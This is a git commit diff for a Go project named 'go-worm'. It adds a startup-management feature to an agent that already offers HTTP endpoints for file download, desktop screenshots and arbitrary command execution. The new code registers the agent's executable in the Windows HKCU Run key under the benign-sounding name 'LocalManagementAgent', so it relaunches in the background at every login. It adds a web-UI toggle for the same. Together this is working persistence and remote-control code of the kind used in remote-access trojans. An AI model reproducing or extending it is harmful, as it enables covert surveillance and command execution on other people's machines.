Add startup management functionality to the agent. Implement API endpoints for enabling and disabling startup, and update the web interface to reflect the current startup state.

This commit is contained in:
2026-08-18 17:06:20 +03:00
parent 15f7fd91ab
commit f24e31da27
6 changed files with 127 additions and 8 deletions
+1
View File
@@ -62,6 +62,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
a.server = &http.Server{ a.server = &http.Server{
Addr: a.addr, Addr: a.addr,
+24
View File
@@ -21,6 +21,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/screenshot"
"tea.chunkbyte.com/kato/go-worm/lib/startup"
) )
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
@@ -44,6 +45,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
}, },
}) })
} }
@@ -58,9 +60,31 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host, "os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr, "agent_version": config.Version, "listen_address": a.addr,
"startup_enabled": startup.Enabled(),
}) })
} }
func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodPost:
if err := startup.Enable(); err != nil {
helpers.Log.Printf("startup enable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
return
}
case http.MethodDelete:
if err := startup.Disable(); err != nil {
helpers.Log.Printf("startup disable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
return
}
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet { if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+24
View File
@@ -8,6 +8,9 @@
const shotGallery = document.getElementById("shot-gallery"); const shotGallery = document.getElementById("shot-gallery");
const execOut = document.getElementById("exec-out"); const execOut = document.getElementById("exec-out");
const execMeta = document.getElementById("exec-meta"); const execMeta = document.getElementById("exec-meta");
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
let objectUrls = []; let objectUrls = [];
@@ -89,7 +92,9 @@
["Listen", data.listen_address], ["Listen", data.listen_address],
["Uptime", `${data.uptime_seconds}s`], ["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"], ["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
]; ];
setStartup(Boolean(data.startup_enabled));
statusFields.replaceChildren( statusFields.replaceChildren(
...fields.flatMap(([label, value]) => { ...fields.flatMap(([label, value]) => {
const dt = document.createElement("dt"); const dt = document.createElement("dt");
@@ -180,6 +185,19 @@
shotGallery.append(figure); shotGallery.append(figure);
} }
function setStartup(enabled) {
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
startupAdd.disabled = enabled;
startupRemove.disabled = !enabled;
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
loadStatus().catch((err) => showError(err.message));
}
async function runCommand() { async function runCommand() {
const command = document.getElementById("exec-command").value.trim(); const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value); const timeout = Number(document.getElementById("exec-timeout").value);
@@ -207,6 +225,12 @@
document.getElementById("refresh-status").addEventListener("click", () => { document.getElementById("refresh-status").addEventListener("click", () => {
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message)); Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
}); });
startupAdd.addEventListener("click", () => {
setStartupEnabled(true).catch((err) => showError(err.message));
});
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => { document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message)); listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
}); });
+6
View File
@@ -62,6 +62,7 @@
border-color: var(--accent); border-color: var(--accent);
color: #fff; color: #fff;
} }
button:disabled { opacity: 0.45; cursor: default; }
.panel { .panel {
display: none; display: none;
background: var(--card); background: var(--card);
@@ -142,6 +143,11 @@
<button id="refresh-status" class="primary" type="button">Refresh</button> <button id="refresh-status" class="primary" type="button">Refresh</button>
</div> </div>
<dl id="status-fields"></dl> <dl id="status-fields"></dl>
<div class="row" style="margin-top:1rem">
<span id="startup-state" class="meta">Startup: —</span>
<button id="startup-add" type="button">Add to startup</button>
<button id="startup-remove" type="button">Remove from startup</button>
</div>
</section> </section>
<section id="files" class="panel"> <section id="files" class="panel">
<div class="row"> <div class="row">
+2
View File
@@ -14,6 +14,8 @@ const (
MaxImageQuality = 100 MaxImageQuality = 100
DefaultExecTO = 30 DefaultExecTO = 30
MaxExecTO = 120 MaxExecTO = 120
StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
) )
func EnvOr(name, fallback string) string { func EnvOr(name, fallback string) string {
+62
View File
@@ -0,0 +1,62 @@
package startup
import (
"errors"
"os"
"path/filepath"
"golang.org/x/sys/windows/registry"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func Enabled() bool {
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
_, _, err = k.GetStringValue(config.StartupValueName)
return err == nil
}
func Enable() error {
command, err := commandLine()
if err != nil {
return err
}
k, _, err := registry.CreateKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(config.StartupValueName, command)
}
func Disable() error {
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
if err != nil {
if errors.Is(err, registry.ErrNotExist) {
return nil
}
return err
}
defer k.Close()
err = k.DeleteValue(config.StartupValueName)
if errors.Is(err, registry.ErrNotExist) {
return nil
}
return err
}
func commandLine() (string, error) {
exe, err := os.Executable()
if err != nil {
return "", err
}
exe, err = filepath.Abs(exe)
if err != nil {
return "", err
}
return `"` + exe + `" -background`, nil
}